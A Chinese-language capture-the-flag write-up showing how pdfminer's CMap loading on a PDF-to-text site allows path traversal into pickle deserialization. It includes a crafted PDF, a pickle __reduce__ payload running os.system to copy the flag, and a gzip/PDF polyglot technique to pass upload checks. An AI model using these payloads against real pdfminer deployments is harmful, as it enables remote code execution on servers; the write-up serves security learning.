前言 本题的功能点是一个将pdf转换为txt的网站,修复方式是把pickle换成了marshal
分析调用链 这题考察pickle反序列化,首先在pdfminer库里搜索pickle.loads
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def _load_data (cls, name: str ) -> Any : name = name.replace("\0" , "" ) filename = "%s.pickle.gz" % name log.debug("loading: %r" , name) cmap_paths = ( os.environ.get("CMAP_PATH" , "/usr/share/pdfminer/" ), os.path.join(os.path.dirname(__file__), "cmap" ), ) for directory in cmap_paths: path = os.path.join(directory, filename) if os.path.exists(path): gzfile = gzip.open (path) try : return type (str (name), (), pickle.loads(gzfile.read())) finally : gzfile.close() raise CMapDB.CMapNotFound(name)
这里反序列化的数据是默认的cmap目录下的文件,如果能让他变成我们可控的文件就能够实现rce
注意到path里面的filename是我们可控的,如果能目录穿越到我们可控的目录就可以了,往上寻找看看是从哪里调用过来的
发现有两个地方调用了_load_data函数,但是get_unicode_map 调用的时候前缀是写死的无法进行目录穿越
所以只能是get_cmap,继续看
找到这里,再继续看get_cmap_from_spec
是PDFCIDFont类初始化的时候调用的,继续看
其实到这里已经很明显了,就是在处理CIDFont字体的时候调用的,但是还是继续看完
找到了入口函数extract_pages
那么整个过程就清晰了,就是当一页pdf里面存在CIDFont字体的时候就会实例化一个PDFCIDFont对象来处理,最后调到了pcikle.loads
这个函数中可以看到,name是通过Encoding获取的,所以我们只要在pdf中插入一个CIDFont字体并且指定Encoding就可以反序列化我们可控的文件
构造恶意文件 pdf直接让ai生成就行了,再自己改一下Encoding (帮我生成一个简单的pdf文件,声明CIDFont字体,以纯文本形式输出)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 %PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Count 1 /Kids [3 0 R] >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 595 842] /Resources << /Font << /F1 4 0 R >> >> /Contents 5 0 R >> endobj 4 0 obj << /Type /Font /Subtype /Type0 /BaseFont /Adobe-GB1 /Encoding /.. /DescendantFonts [6 0 R] >> endobj 6 0 obj << /Type /Font /Subtype /CIDFontType0 /BaseFont /Adobe-GB1 /CIDSystemInfo << /Registry (Adobe) /Ordering (GB1) /Supplement 0 >> >> endobj 5 0 obj << /Length 32 >> stream BT/F1 24 Tf 100 700 Td(A) Tj ET endstream endobj xref 0 7 0000000000 65535 f 0000000010 00000 n 0000000058 00000 n 0000000115 00000 n 0000000252 00000 n 0000000375 00000 n 0000000534 00000 n trailer << /Root 1 0 R /Size 7 >> startxref 620 %%EOF
注意这里/要16进制编码一下,反序列化的文件就变成了/app/uploads/pickle.pickle.gz
我们只需要把序列化后的数据存到这个gz文件里就可以了
1 2 3 4 5 6 7 8 9 import pickleimport osclass Tmp : def __reduce__ (self ): return (os.system, ("mkdir ./static;cat /flag > /app/static/1.txt" ,)) obj = Tmp() ser_data = pickle.dumps(obj)
但是有一个问题,这题只能上传pdf,如果不是pdf的格式执行到这段代码的时候会报错,导致文件不会写入到uploads目录下
1 2 3 4 5 6 try : parser = PDFParser(io.BytesIO(pdf_content)) doc = PDFDocument(parser)except Exception as e: return str (e), 500
这里有两个解决办法
利用gz文件的格式
1 2 3 4 5 6 gzip文件格式可以分为四个部分: 文件头必选部分[10个字节] 文件头可选部分[0-N字节] 数据部分 文件尾部分[8个字节]
我们把pdf文件尾写到gz的文件头可选部分,pickle的数据写到数据部分,这样在反序列化的时候只会反序列化pickle数据,(pdf只要有文件尾就可以识别成功)
可以在命令行执行如下命令
1 echo "gASVHgAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=" | base64 -d | pigz --fast --comment $'\ntrailer\n<< /Root 1 0 R /Size 1 >>\nstartxref\n' > pickle.pickle.gz
利用gz的compresslevel参数
在gzip压缩文件时,如果指定了compress参数等于0,就会不压缩数据,只为文件添加gz格式,这样pdf在gz文件内就能保持命令,也就可以识别成功,所以只需要
1 2 3 with gzip.open ("pickle.pickle1.gz" ,"wb" ,compresslevel=0 ) as f: f.write(ser_data) f.write(pdf_content)
攻击 先把pickle.pickle.gz传上去,再把pdf传上去就行了,无回显不出网可以写静态文件或者通过报错带出来